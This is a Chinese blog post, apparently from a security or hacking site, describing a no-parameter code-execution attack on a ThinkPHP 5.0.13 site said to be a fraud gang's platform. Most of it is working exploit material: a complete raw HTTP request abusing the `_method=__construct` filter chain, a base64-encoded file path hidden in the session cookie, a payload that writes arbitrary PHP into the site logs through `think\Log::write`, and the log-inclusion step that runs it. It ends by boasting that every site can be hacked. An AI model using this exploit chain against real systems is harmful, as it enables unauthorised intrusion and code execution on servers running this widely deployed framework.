记某次Thinkphp5.0.13无参数代码执行案例

这次这个诈骗团伙技术能力相当强悍,做了几十套台子,均为前后端分离模式,10个网站主框架只用一个,前端不同。我们5 6 7 8起案子均跟他们有关,抓住他们绝对拍死。

限制列表

  1. eval禁用
  2. assert禁用
  3. 负载均衡
  4. 目录644
  5. Debug关闭
  6. 未开启缓存配置

前端目录:

Image description

前端页面

Image description

直接开说解决方案,少浪费各位时间。

解决方案:

原始数据包

POST /index/index/index HTTP/1.1
Host: 7xc4w7myqd8.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=L3RtcC90ZXN0LmxvZw==
x-forwarded-for: 
If-None-Match: "62ab0e88-242"
If-Modified-Since: Thu, 16 Jun 2022 11:05:44 GMT
Content-Type: application/x-www-form-urlencoded
Content-Length: 143

_method=__construct&method=get&filter[]=session&filter[]=session_id&filter[]=base64_decode&filter[]=think\__include_file&a=../data/app/lottery/
 
  1. SESSION_ID传参
_method=__construct&method=get&filter[]=session&filter[]=session_id&filter[]=base64_decode&filter[]=think\__include_file&a=../
 
filter[]=session  开启session

![Image description](https://www.hackdoor.org/assets/files/2022-06-19/1655613838-357588-image.png)

filter[]=session_id 获取当前session名称

![Image description](https://www.hackdoor.org/assets/files/2022-06-19/1655613878-793016-image.png)

filter[]=base64_decode 解码session名称得到参数值。

filter[]=think\__include_file 包含指定日志文件
 

解决方案就是如此简单。

在包含日志之前,我们可以通过函数:think\Log::write 写入任意的php代码到网站日志中。

_method=__construct&method=get&filter[]=session&filter[]=session_id&filter[]=base64_decode&filter[]=think\Log::write&filter[]=var_dump&filter[]=die

然后我们在包含今天的日志就大功告成!

没有日不下的站,只有不惦记的黑客!

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容